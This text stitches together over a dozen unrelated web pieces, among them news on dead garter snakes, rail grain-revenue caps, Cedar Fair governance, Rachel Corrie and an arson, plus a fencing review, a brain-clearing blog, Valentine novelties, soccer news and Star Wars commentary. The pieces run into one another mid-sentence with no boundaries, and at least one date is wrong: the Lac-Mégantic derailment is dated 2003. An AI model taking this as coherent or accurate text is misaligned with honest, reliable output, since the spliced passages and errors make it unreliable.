His first reaction was sadness. "I was a little bit disgusted," he said. "But I think I'm just bothered and perplexed."
The garter is a harmless small snake species that typically grows to less than a metre long. Many people who visit the Narcisse pits pick the snakes up.
The garter is a harmless snake species that typically grows to less than a metre long. Many people who visit the Narcisse pits pick the snakes up. (Darren Bernhardt/CBC)
"They don't mean to hurt anyone, they don't mean to scare anyone. They're just trying to get by," Balchan said.
"There's seven months of brutal cold coming up right away and these animals have been packing on weight all summer. They eat insects, frogs, worms, and they're really an important part of this ecosystem.
"So it really is a shame to see people do something like this out of ignorance or fear or whatever."
He gathered up several of the dead snakes and took a photo to post to Facebook, where he vented about his disappointment and about losing "a little more faith in humanity."
Although Balchan collected about 50 snakes, there were many more, he said.
"It's such a big area and they were scattered pretty widely. Who knows how many there really were in total," he said, noting the den house contains about 1,000 snakes.
"I collected them, essentially, to remove them from the site — 50 dead snakes in one area is a huge predator draw and it can attract other people to do similar types of things."
Balchan has reported his discovery to Manitoba Conservation, but a spokesperson for the provincial department told CBC News there's nothing they can do.
"We're aware of it and it's disturbing, yes, but it's not a protected species under the Wildlife Act," the spokesperson said.
He said the red-sided garter snakes in the Narcisse wildlife management area are protected, but since this incident occurred outside that management area, the snakes would not be protected.
Balchan is also looking into reporting the incident to RCMP.
"I'm not sure what abuse charge this would fall under or what kind of protections these animals warrant, but certainly this has to fall under some additional measure," he said.Tuesday: 27/03/18, Purchase: Colorbond Cover Sheets, Rails and Posts. First great experience was a pleasant phone call with Aussie Fencing at 7.20 a.m. Opening time of 7.00 a.m. is hugely advantageous to tradies needing product early. On arrival was greeted warmly by Melissa who was very personable and most importantly had thorough communication skills. Next we were directed to the warehouse where two young gentleman went out of there way to help us. Our purchase was discounted fencing as it was damaged and limited stock. "Damaged" actually turned out to be tiny scratches and dents on the cover sheets you could barely see and they came in an assortment of colours not just one. The colour we needed was Domain and about 60% of the panels covered this. To our surprise both young men took the time to separate and compile the Domain panels we needed even though we bought their remaining stock in all colours. The Kiwi gentleman that loaded up our ute was bright and bubbly and wouldn't allow a woman to do any heavy lifting. O.H & S. in this business is clearly paramount with how clean the warehouse and loading area is, the diligence and conformity of staff with safety clothing and communication and the way safety is conveyed to customers. Being in the customer service industry myself, I know how important exceptional customer service is. Sadly not many people in the industry seem to care these days. Today was like a breath of fresh air. Congrats to Aussie Fencing and your management team. The staff that helped us today were clearly happy and the vibe gave off a very relaxed and enjoyable experience. Stay awesome and don't change a thing.Canadian Pacific Railway Ltd. is calling for an end to a government-imposed limit on revenues the country's two major railroads can make hauling grain in Western Canada, a measure designed to protect farmers from soaring shipping costs.
The so-called maximum revenue entitlement set by the government on wheat, canola and other grain for export has been outpaced by the rise in crop prices and is preventing railways from buying bigger and more efficient rail cars to move grain, the Calgary-based railway said in a submission to a government panel that is reviewing the Canada Transportation Act.
"The removal of the [regulation] would allow for increased investment, capacity, and overall competitiveness in the grain supply chain," said CP, noting commodity prices have risen by 166 per cent since 2000 while the railway's freight rates have gone up by less than 6 per cent. "Canadian rail rates are the lowest in the world."
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CP said removing the cap would allow it to replace its fleet of 5,500 grain cars – which average 35 years old – with new hoppers that can carry 25 per cent more grain per train.
The maximum revenue Canada's two major railways can make hauling wheat, canola and other grain in Western Canada for export is set by the Canadian Transportation Agency using a complex formula that takes into account crop volumes, distance hauled, inflation and other factors. Railways are free to set their own freight rates, provided total sales fall below the ceiling set by the government.
The regulation has been in place since 2000, when the government replaced maximum freight rates with the system that allows railways to charge various prices to haul crops, provided farmers were protected from runaway inflation of shipping charges.
The grain companies say getting rid of the regulation would raise shipping costs for farmers and traders, and drive up the price of Canadian crops on international markets.
They note farmers and grain elevators usually have no choice which railway they use, and their businesses depend on reliable rail service at prices that are fair.
"Removing the grain revenue entitlement is a risky proposition," said Wade Sobkowich, president of the Western Grain Elevator Association, which includes Cargill Ltd. and Richardson International Ltd.
The grain group said the rule does not prevent railways from moving more grain, nor investing in hopper cars.
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The rule, they say, simply limits the amount the railways can charge per tonne – not the overall amount of revenue it can make from moving crops – and ensures the rise in freight rates is in line with inflation.
"There is no evidence to show that shippers would get better service if it were eliminated. In fact, there is existing evidence that poor service and insufficient capacity would remain," Mr. Sobkowich said.
The Western Grain Elevator Association, in its submission to the review panel, seeks greater government oversight of railway service and the right for shippers to financially penalize railways that fall short.
Tensions between the grain industry and the big railways were heightened last year, when a record crop was followed by a harsh winter.
Railways blamed slow service on the cold weather; farmers and grain companies said railway cutbacks and attention to more lucrative commodities such as crude oil left them with stuffed elevators and cash-flow troubles.
The review of the Canada Transportation Act is being conducted by six people appointed by Transport Minister Lisa Raitt. The final report, which is expected to focus on the grain industry, is due at the end of the year.
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CP's submission makes 10 recommendations, including:
-railways be allowed install video and voice recorders that track locomotive crew actions. The move, which is opposed by the unions that represent railway workers, would encourage train crews to comply with operating rules and "reduce tendencies toward" unsafe behaviour while running trains.
-that any new rail crossings be balanced with the closing of an existing one.
CP is also calling for a harmonization of rail and safety regulations with the United States. For example, the railway points to the different approaches to toughening standards for oil tank cars in the two countries. Canada has imposed a shorter phase-out on older cars in an attempt to improve safety in the aftermath of the 2003 derailment and explosion of an oil train in Lac Megantic, Que., that killed 47 people.
CP's export grain revenue for the 2013-14 crop year was $623-million, $1.6-million below its cap. Canadian grain is the largest line of business for CP, which recorded a record $6.6-billion in revenue in 2014.
Rival CN's $672-million in revenue from western grain exceeded its cap by almost $5-million, an amount it was told to relinquish in addition to a five-per-cent penalty of $250,000. (The money goes to the Western Grains Research Foundation.)
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Claude Mongeau, CN's chief executive officer, told the Globe and Mail last year the revenue rule discouraged spending on its grain operations.
Mark Hallman, a CN spokesman, said the Montreal-based company had not yet made its submission to the review panel, and would not elaborate on its contents nor comment on the freight rate regulation.
"CN's submission to the panel will focus on what is required, including the proper regulatory regime, to help all sectors contribute to Canada's trade and economic growth, and on the importance of a commercial environment to sustain investments and innovation," Mr. Hallman said in a statement.The stock has since rallied 63 percent, closing on Friday at $18.76 a share, as the company’s results improved, and Q Investments has grown increasingly aggressive in pushing the board to be more responsive to stakeholders — that is, the owners.
Indeed, Q Investments has become something of a thorn in the side of Cedar Fair’s management and board. Late last year, the firm pushed for a special meeting of unit holders to vote on its proposal that the chairman of Cedar Fair’s board be an independent director who has not served as an officer of the company or any of its affiliates. Cedar Fair’s board urged unit holders to vote against this proposal, saying it would shrink the pool of candidates available for the position.
Nevertheless, the proposal passed, and Cedar Fair appointed a new chairman who is independent.
Q Investments mounted an even bigger fight earlier this year. It is trying to change the company’s practice of barring unit holders from nominating candidates to the Cedar Fair board.
Cedar Fair is set up as a publicly traded partnership operated by a general partner. Because of this structure, unit holders do not have the right to nominate directors to the company’s board. That right is reserved for the general partner.
“Giving shareholders the right to nominate directors is the most basic and fundamental right in corporate America,” said Geoffrey Raynor, senior managing partner and founder of Q Investments. “We cannot find one corporation in the Fortune 500 that does not allow shareholders this right.”
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CEDAR FAIR’S board was unreceptive to the idea that the company’s owners be allowed to nominate directors to represent them. So, last March, Q Investments put forward another proposal that would require Cedar Fair to allow unit holders to nominate directors. Unit holders voted on the proposal at a special meeting on June 2.
It passed resoundingly. Investors holding 67 percent of the Cedar Fair units outstanding voted in favor of letting shareholders nominate directors to the board, according to company filings. An even greater majority of the units that cast a vote on the proposal — 96 percent — supported it.
The shareholders had spoken. Did the company hear?
Not exactly. While acknowledging that a vast majority of its owners wanted to be able to nominate directors, Cedar Fair said that investors’ wishes could not be granted. The partnership’s regulations, Cedar Fair said, require that changes in the company’s by-laws involving matters such as board elections, must receive the support of 80 percent of the units outstanding. So, even though more than two-thirds of the units outstanding had been cast in support of the change in the by-laws, the proposal failed.
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Q Investments said that it had studied voting patterns among unit holders at the company and that roughly 30 percent of Cedar Fair units typically were not even cast at shareholder meetings. As a result, Q Investments said, the 80 percent threshold was virtually unachievable.
“This most recent vote was as close to unanimous as possible,” Mr. Raynor said. “Seventy percent of all unit holders voted, and 95 percent of those voting supported giving unit holders the right to nominate directors. Yet this board has refused to give unit holders this right.”
Stacy Frole, director of investor relations at Cedar Fair, said that the board could not abide by its owners’ wishes and change the 80 percent threshold. “These are the regulations of the general partner; we can’t circumvent those,” she said. “Within the general partner regulations, it would require an 80 percent vote to change the 80 percent voting requirement.”
But Mr. Raynor pointed out that when the 80 percent threshold was instituted, back in 2004, on matters relating to governance issues, it was required to be passed with only two-thirds of the unit-holder vote. “It’s like a third-world dictator being elected by a simple majority and then unilaterally instituting a rule that says, ‘in the future, any challenger must receive 80 percent of the vote,’ ” he said.
Ms. Frole said that Cedar Fair was examining alternatives to try to assuage its big and loud investors. But it sure seems that effecting change at a company should not be that difficult for its owners.Israel’s investigation into the death of American activist Rachel Corrie was not satisfactory, and wasn’t as thorough, credible or transparent as it should have been, U.S. Ambassador to Israel Dan Shapiro told the Corrie family this week.
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U.S. Ambassador to Israel Dan Shapiro tells Corrie family that Israel’s investigation into their daughter’s death was unsatisfactory; family is in Israel awaiting verdict in civil suit against Israeli government.
Craig and Cindy Corrie in Washington in 2003, with photographs of their daughter, Rachel. Photo by AP
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Israel’s investigation into the death of American activist Rachel Corrie was not satisfactory, and wasn’t as thorough, credible or transparent as it should have been, U.S. Ambassador to Israel Dan Shapiro told the Corrie family this week.
The bereaved family − parents Craig and Cindy, and sister Sarah − are in Israel awaiting the verdict in the civil suit they had filed two years ago against the State of Israel over their daughter’s death. The ruling by the Haifa District Court is expected on Tuesday.
The U.S. government’s position is not new to the Corries, but their attorneys said that hearing it only a few days before the verdict was “important and encouraging,” because it signals to the Corrie family that the U.S. government will continue to demand a full accounting from Israel about their daughter’s killing, regardless of how Judge Oded Gershon rules.
In 2002 Rachel Corrie joined a group of International Solidarity Movement activists who had been living among Palestinians in the West Bank and Gaza, in areas that were subject to Israel Defense Forces incursions and attacks.
In Rafah, where Corrie spent the last few weeks of her life, the activists wanted to demonstrate against the systematic destruction of Palestinian homes for what the IDF called operational purposes.
On the afternoon of March 16, 2003, an IDF Caterpillar bulldozer crushed Corrie to death, when she and her friends were standing in front of it to prevent what they believed was the planned demolition of two occupied homes.
The IDF claimed that Corrie’s death was an accident, and that the driver of the bulldozer never saw her.
In 2005, after the military prosecutor closed the file, the family filed a civil suit against the Israeli government, accusing it of being responsible for Corrie’s death and for not conducting a full and credible investigation. The state responded that the IDF bulldozer driver had never seen Corrie, that she should not have been in a battle zone, and that the Military Police investigation had not found any violations of the law.
In May 2011, when Shapiro was questioned by the U.S. Senate Foreign Relations Committee before his appointment as ambassador to Israel, he repeated the administration’s position regarding the Israeli investigation.
Sen. John Kerry asked Shapiro what steps the embassy, under his administration, would take that would be in keeping with the remarks of State Department spokesman P.J. Crowley. On June 30, 2010 Crowley had said, “We continue to stress to the government of Israel at the highest levels, to continue a thorough, transparent and credible investigation of the circumstances concerning [Corrie’s] death.”
Shapiro responded: “For seven years, we have pressed the government of Israel at the highest levels to conduct a thorough, transparent and credible investigation of the circumstances of her death. The government of Israel has responded that it considers this case closed and does not plan on reinvestigating the incident.”
Shapiro then noted that the case had gone to court in March 2010 and said, “We hope this venue will finally provide [the Corries] with the answers they seek. We will continue to work with and assist the Corrie family as appropriate.”
Written FORThe brain is a complex and mysterious organ, which performs many functions and the proper functioning of this precious machine is important for well-being. There are about 86 billion neurons in the brain and they interact by forming circuits. Therefore, it is critical to understand the structural organization and the neural circuits underlying brain functions. However, a major obstacle to study and understand the brain lies in the fact that it is densely composed of lipids, due to which the light is scattered and cannot penetrate inside. Thus, the high lipid content makes it difficult to image the whole brain. The traditional method to image the brain is to slice it into thin sections (µm) followed by histological staining and imaging but this is a time-consuming, error-prone process, and there is/might be loss of information as only the surface of sections can be imaged.
However, modern approaches involve clearing the brain of the lipids and make it optically transparent so that light can pass through the brain without sectioning. There are several different clearing processes like CLARITY (Chung and Deisseroth, 2013), SWITCH (Murray et al., 2015), CUBIC (Susaki et al., 2015), 3DISCO (Ertürk et al., 2012), uDISCO (Pan et al., 2016) and many more which clear the lipids and make the brain optically transparent. With the discovery of these processes, scientists have even imaged a complete rodent (Pan et al., 2016) and its whole brain (Chung and Deisseroth, 2013; Pan et al., 2016).
The most popular and commonly used clearing method is CLARITY (Clear Lipid-exchanged Acrylamide-hybridized Rigid Imaging Tissue hYdrogel) (figure 1) which was developed at Karl Deisseroth’s laboratory, who also pioneered the discovery of Optogenetics (Boyden et al., 2005). CLARITY uses SDS, a detergent to get rid of the lipids using electrical charges. Initially, the animal is perfused with formaldehyde in combination with acrylamide which in turn forms a hydrogel layer. The brain is infused with a hydrogel solution and then incubated. At the end of the process, CLARITY produces a structurally intact but transparent tissue. However, with CLARITY, multiple rounds of labeling are not possible and is limited to three rounds of immunolabeling. Also, after electrophoresis, the tissue expands from their normal size but return to its normal size after refractive index matching (Chung and Deisseroth, 2013). However, no loss of information due to the expansion and shrinkage has been reported.
Many modifications have been made to CLARITY including passive CLARITY (Tomer et al., 2014). More recently, Kwang Chung, who is credited with the discovery of CLARITY, developed SWITCH (system wide control of interaction time and kinetics of chemicals). SWITCH provides an advantage since it allows multiple round (> 20) of labeling steps and a uniform tissue processing, thus providing access to high dimensional multi-scale information (Murray et al., 2015). Another major advantage of SWITCH is that it doesn’t require the animals to undergo perfusion and can be used both in small and big animals and even human samples and SWITCH doesn’t require any special equipment or reagents (Murray et al., 2015).
An alternative approach to CLARITY or SWITCH is a solvent-based method known as 3DISCO (Three-dimensional imaging of solvent-cleared organs) which removes lipids and makes the tissue optically transparent by using organic solvents like Dibenzyl Ether (DBE) and Tetrahydrofuran (THF). By using 3DISCO, the organ of interest shrinks to half of its size which is convenient for imaging rats because of their big size, and it has been reported that there is no loss of information. A modified version of 3DISCO, was recently developed by Erturk et al. and is known as uDISCO or ‘ultimate DISCO’. uDISCO uses Diphenyl Ether (DPE), instead of DBE. DPE is less prone to radical and oxidative reactions as it lacks benzylic C-H and C-O bonds (Pan et al., 2016). Fluorescence is better preserved in DPE as compared to DBE and provides a better tissue-clearing effect (Pan et al., 2016). Therefore, DPE is more suitable for clearing process compared to DBE.
With access to high resolution microscopes, like 2-photon or light sheet microscopy, it is now possible to image a complete brain within a matter of hours. A recent development in microscopy known as expansion microscopy (Chen et al., 2015) can also be used to image cleared tissues which is based on the infusion of Sodium polyacrylate into the tissue. Interestingly, this molecule is also used in baby diapers and as a result the diapers expand due to diffusion of liquid into it. Based on the same principle, expansion microscopy also expands the tissue samples by 100 folds without changing the molecular structures and it has been used to image cells and synapses in the mouse hippocampus (Chen et al., 2015) and also has been used to image RNA structure (Chen et al., 2016).
The advent of clearing techniques and advanced microscopy system has made possible to image the whole brain in pathological conditions in order to deeply understand the underlying aberrant changes occurring at the level of neural networks and connections. Recently, clearing methods have been successfully used to image brains in severe disorders such as Alzheimer’s disease (Ando et al., 2014) and multiple sclerosis (Spence et al., 2014). With these techniques, it would now be possible to comprehend some of the brain secrets and to unveil how this beautiful organ works.
Featured Image credit https://www.flickr.com/photos/nihgov/ Credit: B. Weinstein, National Institute of Child Health and Human Development, National Institutes of Health
References
Chung K, Deisseroth K. CLARITY for mapping the nervous system. Nature Methods 2013;10:508–13. Murray E, Cho JH, Goodwin D, et al. Simple, Scalable Proteomic Imaging for High-Dimensional Profiling of Intact Systems. Cell 2015;163:1500–14. Susaki EA, Tainaka K, Perrin D, et al. Advanced CUBIC protocols for whole-brain and whole-body clearing and imaging. Nature Protocols 2015;10:1709–27. Ertürk A, Becker K, Jährling N, et al. Three-dimensional imaging of solvent-cleared organs using 3DISCO. Nature Protocols 2012;7:1983–95. Pan C, Cai R, Quacquarelli FP, et al. Shrinkage-mediated imaging of entire organs and organisms using uDISCO. Nature Methods 2016; Boyden ES, Zhang F, Bamberg E, et al. Millisecond-timescale, genetically targeted optical control of neural activity. Nat. Neurosci. 2005;8:1263–8. Tomer R, Ye L, Hsueh B, et al. Advanced CLARITY for rapid and high-resolution imaging of intact tissues. Nature Protocols 2014;9:1682–97. Chen F, Tillberg PW, Boyden ES. Expansion microscopy. Science 2015;347:543–8. Chen F, Wassie AT, Cote AJ, et al. Nanoscale imaging of RNA with expansion microscopy. Nature Methods 2016;13:679–84. Ando K, Laborde Q, Lazar A, et al. Inside Alzheimer brain with CLARITY: senile plaques, neurofibrillary tangles and axons in 3-D. Acta Neuropathologica 2014;128:457–9. Spence RD, Kurth F, Itoh N, et al. Bringing CLARITY to gray matter atrophy. Neuroimage 2014;101:625–32. Hama H, Hioki H, Namiki K, et al. ScaleS: an optical clearing palette for biological imaging. Nat. Neurosci. 2015;18:1518–29.
Any views expressed are those of the author, and do not necessarily reflect those of PLOS.
Chinmaya Sadangi is currently a graduate student in Neuroscience at Philipps University, Marburg, Germany. After receiving his MSc. degree in Cell and Molecular bilogy, and Neuroscience from Uppsala University, Sweden, he moved to Germany where he is currently investigating about epilepsy. Apart from Neuroscience, his interests are photography and traveling. He is also active on twitter @addictivebrain and his website.Two people are facing charges, though one of them remains at large, after a road rage incident involving a stabbing on Monday, police say.
The incident happened on Rideau Street near King Edward Avenue during the afternoon rush hour at about 5:15 p.m., police said in a media release.
A pick-up truck and a Toyota car were traveling along Rideau Street when, police say, the truck driver witnessed an exchange between a cyclist and the people inside the Toyota.
The truck and the car then stopped at a nearby parking lot at the intersection of King Edward Avenue.
A dispute broke out and the occupant of the truck was stabbed in the arm "with a sharp object, possibly a knife," police said. Then, as the people in the Toyota left the scene, the man who was stabbed used a tool to damage the Toyota on the passenger's side.
A tip from the public later led police to the Toyota, but police were still trying to identify the people inside it, as well as the cyclist, who is described as a woman in her 50s.
On Wednesday, police said they had identified the suspects in the Toyota. A 20-year-old woman has been charged with assault with a weapon, and a 26-year-old man is charged with aggravated assault, assault with a weapon and possession of a weapon. The man remains at large and police are seeking a warrant for his arrest.
Anyone with information is asked to call police at 613-236-1222, ext. 5166.Hundreds of characters took over downtown Saturday evening as Hamacon continued in Huntsville. The main event of Saturday night was the Cosplay contest. Cosplay is a performance art where participants wear costumes and use accessories to represent a character or idea - costumed role-play.
Many of the characters photographed in the gallery were participating in the Cosplay costume contest on Saturday night. The categories included in Cosplay include Doll, Youth, Novice, Journeyman, Master, Exhibitionist, and Fan Favorite.
Emma Hovanes, of Huntsville, during HAMACON 6, the Rocket City's Anime Convention.(Eric Schultz / eschultz@al.com)
Hamacon celebrates anime, the dramatic, edgy Japanese animation seen in such films as "Spirited Away" and TV shows like "Dragon Ball Z." as mentioned in Matt Wake's interview with Hamacon founder /convention chair Michelle Timon.
Around 350 fans attended the first Hamacon, held at a Holiday Inn in 2010. Last year, Hamacon 5 drew around 2,750 people and took place at the Von Braun Center. This year, over 2500 folks attended the HAMACON on Saturday alone with over 3500 attending the entire weekend, according to Stephen Judy, the marketing director for Hamacon.
You have one more chance to see Hamacon 6 this year as Hamacon returns to the VBC Sunday, in the South Hall at 700 Monroe St. Hours are 10 a.m. - 5 p.m. on June 28. Tickets are $20 for Sunday's happening and are available at the door. A complete schedule of events is at hama-con.com.The Axis of No
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still holds up to it.
CA: I feel like you guys are part of sea change in comics towards all-ages fare, something that might resonate more with female readers. I'm thinking over at Marvel, Ms. Marvel, Loki: Agent of Asgard, things like that. Do you think this is happening?
BC : Definitely. Look at any comic convention. You're seeing 50/50 split and women are there. Ladies are the largest growing demographic of readers. And if we encourage young girls to read comics at a young age, we'll encourage them to start creating comics and it'll just make for a healthier, more diverse industry in the future. One where everyone can read comics. Hopefully this is a tradition they'll carry when they grow up and pass on to their kids. Hopefully this is a start of something really big.
CA: Brenden, you're a new name to many DC readers. I know you're doing some work on Assassin's Creed, I think. How do you feel about jumping in with everything you're going to be doing at DC?
BF : Well, I've been around for a while. I've done some work for DC in the past. The last thing I did before coming on to this was Wednesday Comics with Karl Kerschl. Then I moved into doing more video gaming stuff. But this is amazing to be back. It's amazing to work under the crop of Mark Doyle keeping me in line.
MD: We're suddenly best friends and we didn't know each other two months ago.
BF : I didn't know Mark a few months ago and now we talk every day. So, in addition to being able to create incredible new stories, characters that we're really excited about. I got new friends out of this, too. It's incredible to be a part of this wonderful community. It's like this little family.
CA: That's nice! That makes me optimistic about the book.
BF : I'm not just saying that. These people are some of my best friends.I don't think this would surprise anyone, but PowerBalance—manufacturers of plastic wristbands with hologram stickers on it—have admitted that there's "no credible scientific evidence that supports [their] claims and therefore [they] engaged in misleading conduct." Here's their statement:
In our advertising we stated that Power Balance wristbands improved your strength, balance and flexibility. We admit that there is no credible scientific evidence that supports our claims and therefore we engaged in misleading conduct in breach of s52 of the Trade Practices Act 1974. If you feel you have been misled by our promotions, we wish to unreservedly apologise and offer a full refund.
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They had to publish that in Australian media. The company has been under attack by consumer associations all over Europe because of their bogus claims and pseudo-scientific mumbojumbo, but this seems to be the first time in which a regulatory authority has made them admit that their claims are a simply a fraud.
The whole PowerBalance and similar magic wristbands swindle reminds me of the old magnetic wristbands my grandma used to wear in the 80s. Those were able to cure anything, from rheumatism to diabetes and, like this modern powertrickery, they made people feel better because the metal vibrated in the same frequency as the planet does, whatever that means.
Of course, these pseudo-scientific amulets have been made and distributed since the beginning of civilization. From magic stones to sanctified pendants made of holy chicken bones, charlatans have been devising miraculous devices to take advantage of often desperate people. These are just fancier versions of those, used by a new generation of gullible people. But that doesn't mean the governments should stay still and not do anything. Like in Australia, the US and the European Union should smash all these companies and prohibit their misleading commercials.
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In the meantime, I will keep using my vacuum-injected Monster Cable necklace to keep my strength, balance and flexibility at optimally enhanced crappy levels. Really, it works! [PowerBalance]Japan has an uneven track record when it comes to celebrating Western holidays. While many people have started dressing up for Halloween only recently, the country has wholly embraced Valentine’s Day since the 1950s. Annually, women buy premium chocolate and in bulk, generating half the country’s chocolate business being spent in February.
(Yes, that’s mostly women. Men repay the confectionary favor on White Day a month later.)
While there are mountains of high-end choco tugging at the heart strings, many vendors are trying to stand out with unique packaging and offbeat designs. Here are a few tasty examples.
Sushi chocolate
If you want to give your partner a gift with a Japanese twist, why not go fishing for some sushi-shaped candy?
Instead of heading to Tsukiji’s fish market, go west to Ikebukuro’s Tobu Department Store where you can buy chocolate that looks like egg, shrimp and sea urchin sushi. The set, which costs ¥2,592, includes a dollop of mousse that represent the ginger gari.
Chocolate is a girl’s best friend
Takashimaya Osaka Store has morphed two favorite gift options: chocolate and diamonds.
The department store’s new cake glitters as it’s decorated with diamonds in addition to frosting. You better be in love because the cake, encrusted with 125 diamonds, will set you back more than ¥14 million.
‘Poisoned’ apples
Kuromajutsu has a series of “poisoned” apples — but not any old “Snow White” types of fruits. The company claims it has injected “magic” into these apples using a Buddhist prayer that will, supposedly, make your victim — um, that is future spouse — fall in love with you instantly.
Kuromajutsu packages the ominous apple in a black box complete with the company’s black cat logo. True love can be yours for just a bite — and ¥10,000.
Canned meat
Does your man lack a sweet tooth? Meiji has a savory solution by offering up the perfect canned meat for this Valentine’s Day.
The company’s web page recommends which canned meat would go well with the men in your life. For example, your hard-working co-worker who likes sake may prefer corn beef, while your red wine-drinking boss might like grilled chicken. We can’t guarantee your Valentine will enjoy this gift, but it is sure to be memorable.
Monster cookies
At the event Cookieboy event, people can ice monster-shaped cookies designed by textile artist Takehiro Natsuyama to create adorable and delicious treats.
Natsuyama wants guests to use his beastly cookies as a canvas and show them how to turn treats into works of art using only frosting and other toppings. Instead of keeping it a secret, you can make your Valentine’s gift with your boyfriend this year at the Cookieboy workshop.
Jurassic Fossil Chocolat
Instead of searching for the perfect gift, you can make your boyfriend dig it up himself with an archaeological treat. Welcome to Jurassic chocolate.
Jurassic Fossil Chocolat by Maquis is a tasty set where people have to unearth the chocolate fossil hidden behind a layer of... more chocolate. The set even comes with a tiny hammer and brush to complete the prehistoric experience. Some of the buried dinosaurs include a T-rex, stegosaurus and brachiosaurus.
Yahoo! Japan’s Valentine’s Boy Field Guide
If none of these options sound appetizing and you’re still unsure as to what kind of sweets to give your sweetie, Yahoo! Japan has a new site where you can (virtually) ask 25 different boys what their dream date and chocolate is.
After you input your lover’s face type (dog, monkey, horse) and personality (herbivore, geeky, manly man), you can ask all of your burning Valentine’s questions. It’s a little unnerving watching this uncanny valley version of your boyfriend reveal his private thoughts, but his reaction is actually based on a scientific survey.
As you can see, Valentine’s Day in Japan isn’t just about chocolates and flowers. It’s a big business, and companies will continue to reinterpret the day in new and sometimes terrifying ways.A former cook at The Post Sports Bar & Grill has been charged with starting a fire at the Maplewood bar, apparently trying to trap employees in the restaurant at the time, according to Maplewood Police.
On April 16, in the evening, Alexander Silver threw what appeared to be two Molotov cocktails at the front entrance of the Post Sports Bar & Grill, according to Maplewood Police.
It happened at a time when the restaurant is normally still occupied by employees. Silver drove his car to the back of the building and blocked the rear exit with his vehicle before lighting the fire, police say. On this particular evening, employees had just closed the bar and were out of building at the time of the fire. There were no injuries.
Maplewood police found Silver using the license plate information of his car abandoned at scene, according to KPLR news. Silver confessed to the crime.
The Post general manager, Dave Sendejas, told KPLR his departure was not acrimonious. “He stopped showing up for work. He walked out on his shift, and after that we parted ways,” he said. “It seems like he had some sinister intentions, with that, you know? I don’t know, you’d have to ask him.”
Silver, of the 7300 block of Manchester Road, was charged with first degree arson and held on $100,000 bond, according to court records.
Chrystal Ray, an artist at Studio:art, in Maplewood, was hired by The Post owners to paint the St. Louis Blues and Cardinals artwork over the plywood where the window was broken.Image copyright EPA Image caption Dozens were killed when a lorry ploughed into a large crowd in Nice
A couple who posed as Paris attacks victims to win compensation are facing trial again over a similar claim about the Nice attack last summer.
The pair were imprisoned in December after claiming €60,000 (£50,000; $64,000) from a victims fund for the November 2015 Paris attacks, despite being in the Cote d'Azur at the time.
The fraud was exposed when they claimed to also be victims of the Nice attack.
They will now stand trial again in April and face 14 years if convicted.
Sasa Damjanovic, 36, and Vera Vasic, 29, claimed they had been at the Stade de France stadium in Paris in November 2015 when it was targeted by a suicide bomber.
Vasic said she was "blown back" by the explosion, when in fact the couple were on France's south coast.
They later admitted spending most of their fraudulent compensation on vehicles that they planned to sell on, claiming that they had debts to pay off.
Damjanovic was sentenced to six years and Vasic three years and they were ordered to repay €30,000 each. They are appealing against the decision.
Investigators now say Damjanovic and Vasic also posed as victims of the Bastille Day lorry attack in Nice in a second bid to win compensation.
Eighty six people were killed in the attack, when a lorry ploughed into a large crowd watching a fireworks display.
The attacks in Paris hit a concert hall, restaurants and bars, as well as the stadium, leaving 130 people dead and hundreds wounded.
The trial begins on 19 April.The biggest lingering question after the NYC FC announcement was where the team would make their home. After a solid year of handwringing and community uproar about the Flushing Meadows Corona Park stadium plan, the league seemed to indicate that it was willing to consider other options. Now Bronx Borough President Ruben Diaz Jr. has stepped up, issuing a letter to MLS commissioner Don Garber urging the league to consider his borough instead.
Diaz expressed his desire to "cement the new reputation of the Bronx as a sports mecca", and cited the recent Spain/Ireland friendly at Yankee stadium as drawing fans from all over the area. He also didn't hesitate to put the boots to the reaction to the Queens plan, bluntly stating "It would appear that there is little enthusiasm for world class soccer in Queens." Ooh, borough fight! (Here's a PDF of the letter.)
With the offer to assist in the stadium planning now extended to Major League Soccer, we'll have to wait and see if this finally kills the "MLS to Queens" movement. We reached out to the league for comment and will update if we get one.
RED BULLS BLOWN OUT OF US OPEN CUP
For the third year in a row, the New York Red Bulls lost their second game in the US Open Cup, falling 4-2 to the New England Revolution in Boston.
The Red Bulls never held the lead, falling behind just after four minutes on a Kelyn Rowe goal that by all accounts should have been saved by Ryan Meara. New York would pull the game level fifteen minutes before halftime as Fabian Espindola pounced on a poor back pass, but went into the locker room down 2-1 after Rowe found his second. Goals were traded early in the second half with Jonny Steele scoring for NY, and it looked like the Red Bulls might have been able to force the game to overtime - but a dagger goal from Chris Tierney put the margin at two goals just minutes before full time.
Coach Mike Petke was blunt about his feelings on the team's performance: "We lost to a mediocre team because we were way less than mediocre."
The Red Bulls return to league play June 23rd at Philadelphia.
COSMOS SIGN SENNA AND KASHIWASE, LAND TV DEAL
A bunch of announcements from the New York Cosmos this week: first, announcing that the team's home games would be televised on ONE World Sports, an admittedly obscure sports channel that's only available on DISH, Cablevision, and Mediacom. All seven home games will be aired, with JP Dellacamera and Shep Messing calling the games.
The team also announced another player signing on Tuesday, acquiring 20 year old Japanese forward Satoru Kashiwase on loan from the J.League's Shimizu S-Pulse. But the biggest player signing came today, with Spanish international and Villareal legend Marcos Senna joining the NASL side The 36-year-old midfielder recently helped get his squad promoted back to La Liga.
SOCCER EVENTS COMING UP
The NY Cosmos are holding a Supporters Open House today, June 13th at 7PM at Football Factory at Legends.
The Red Bulls will hold their annual team signing event on June 18th at the adidas Sport Performance Store.
The Kicking And Screening film festival returns to Tribeca Cinemas on June 18th-21st. The soccer-themed film festival has titles that cover Poland's high-stakes political match at the 1982 World Cup and Tim Cahill's trek with Australia to qualify for the 2010 World Cup, among others.
Steve Nash returns to town for his unique celebrity soccer event, the Showdown, on June 26th. This 8-a-side game brings together stars of basketball and soccer at the Sara D. Roosevelt Park on the Lower East Side.
Finally, the Street Soccer USA National Cup returns to NYC July 20th-22nd.The original Star Wars trilogy is a classic for many reasons, not the least of which is the fact that it exploited the traditional storytelling method (setup, conflict, resolution) in quite possibly the most effective way ever. A New Hope establishes the Rebellion’s fight against the Galactic Empire and Luke Skywalker’s desire to become a Jedi. The Empire Strikes Back chronicles the Rebellion’s losses and the revelation that Luke’s enemy is his father. Return of the Jedi concludes the story of the Rebellion’s triumph over the Empire and Luke’s redemption of his father.
The Star Wars prequels attempted to recreate this same structure, but with much less success. The Phantom Menace establishes that there is some ambiguous threat to the Republic while Anakin Skywalker is recruited to become a Jedi. Attack of the Clones chronicles the Republic’s war with a group of separatists and Anakin’s descent into evil. Revenge of the Sith concludes the story of the Republic’s transformation into the Galactic Empire and Anakin’s fall.
